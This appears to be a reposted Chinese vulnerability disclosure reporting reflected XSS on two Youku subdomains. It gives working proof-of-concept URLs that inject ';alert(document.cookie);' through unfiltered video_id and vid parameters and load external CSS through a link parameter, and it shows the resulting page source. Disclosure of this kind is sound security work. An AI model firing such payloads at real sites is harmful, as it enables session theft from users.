变量未过滤直接引入至js代码段,优酷某分站多处反射型XSS   # Video_id 参数未过滤       http://comments.youku.com/comments/comments?video_id=12321312%27;alert(document.cookie);%27&bind_type=1&pl=6&width=0&height=0&minisite=1&color=1&backurl=http://www.wooyun.org         # 两处参数存在问题       http://minisite.youku.com/comments/i.php?vid=%27;alert(document.cookie);%27&pagesize=5000&link=http://www.wooyun.org/css/style.css     vid 直接代入js代码处

link 参数直接可引用外部CSS
 

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>minisite留言板</title>
<link href="http://static.youku.com/v1.0.0733/index/css/youku.css" type="text/css" rel="stylesheet" />
<link href="http://static.youku.com/v1.0.0733/v/css/play.css" type="text/css" rel="stylesheet" />
<link href="http://www.wooyun.org/css/style.css" type="text/css" rel="stylesheet" /><script type="text/javascript" src="js/minitool.js"></script>
<script type="text/javascript">
    var vid = '';alert(document.cookie);'';
    var pagesize = 5000;
    function topage(vid,page,pagesize)
    {
        jQuery.get('index.php', {'vid':vid,'page':page,'pagesize':pagesize}, function(x){
            var vid = jQuery(x).find('vid').text();
            jQuery('#vid_'+vid+'_comments').html(jQuery(x).find('comment').text());
            jQuery('.vid_'+vid+'_Pager').each(function (){
                jQuery(this).html(jQuery(x).find('pager').text());
            });
        },'xml');
    }
    jQuery(function(){
        topage(vid,1,pagesize);
    });
    function showfaces()

优酷多个分站多处反射型XSS – 网站安全 – 自学p插图

修复方案:

过滤吧

    上一篇: 网站个人渗透技巧收集与总结 - 网站安全 - 自学

    下一篇: 常见的后门关键字 - 网站安全 - 自学php
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《优酷多个分站多处反射型XSS – 网站安全 – 自学p
   

还没有人抢沙发呢~